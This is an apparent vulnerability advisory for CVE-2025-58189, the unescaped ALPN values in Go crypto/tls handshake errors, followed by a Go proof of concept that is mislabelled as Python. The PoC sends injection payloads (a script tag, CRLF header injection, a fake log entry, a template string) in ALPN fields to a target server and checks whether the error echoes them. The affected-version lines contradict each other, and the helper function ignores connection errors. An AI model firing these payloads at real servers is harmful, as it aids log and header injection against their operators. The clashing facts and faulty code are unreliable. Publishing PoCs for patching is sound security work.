When Conn.Handshake fails during ALPN negotiation the error contains attacker controlled information (the ALPN protocols sent by the client) which is not escaped.
CVSS Details
CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
Go < 1.22.10
Go < 1.23.4
Go 1.22.x 系列所有版本
Go 1.23.x 系列所有版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-58189 PoC - ALPN Information Disclosure
// This PoC demonstrates how an attacker can inject malicious content
// into ALPN protocol list to trigger information disclosure
package main
import (
"crypto/tls"
"fmt"
"net"
"strings"
)
func main() {
// Malicious ALPN protocols that could trigger information disclosure
maliciousALPNs := []string{
"h2<script>alert(1)</script>", // Potential XSS in error logs
"http/1.1\r\nInjected-Header: malicious", // Header injection
"\n[ERROR] Fake error log entry", // Log injection
"h2{{.template injection}}", // Template injection attempt
}
// Connect to target server
targetAddr := "target-server:443"
for _, alpn := range maliciousALPNs {
fmt.Printf("Testing malicious ALPN: %s\n", alpn)
// Create custom TLS config with malicious ALPN
config := &tls.Config{
InsecureSkipVerify: true, // For testing only
NextProtos: []string{alpn},
}
// Attempt connection
conn, err := net.Dial("tcp", targetAddr)
if err != nil {
fmt.Printf("Connection error: %v\n", err)
continue
}
defer conn.Close()
tlsConn := tls.Client(conn, config)
err = tlsConn.Handshake()
if err != nil {
// Check if error message contains our injected content
errorMsg := err.Error()
if strings.Contains(errorMsg, alpn) {
fmt.Printf("VULNERABLE: Error contains injected ALPN: %s\n", errorMsg)
}
}
}
}
// Detection script for checking if error logging is vulnerable
func CheckVulnerability(targetAddr string) bool {
// Send malformed ClientHello with special characters in ALPN
maliciousPayload := "h2\x00injected\x00data"
config := &tls.Config{NextProtos: []string{maliciousPayload}}
conn, _ := net.Dial("tcp", targetAddr)
tlsConn := tls.Client(conn, config)
err := tlsConn.Handshake()
if err != nil {
// If error message reflects the input without sanitization
return strings.Contains(err.Error(), maliciousPayload)
}
return false
}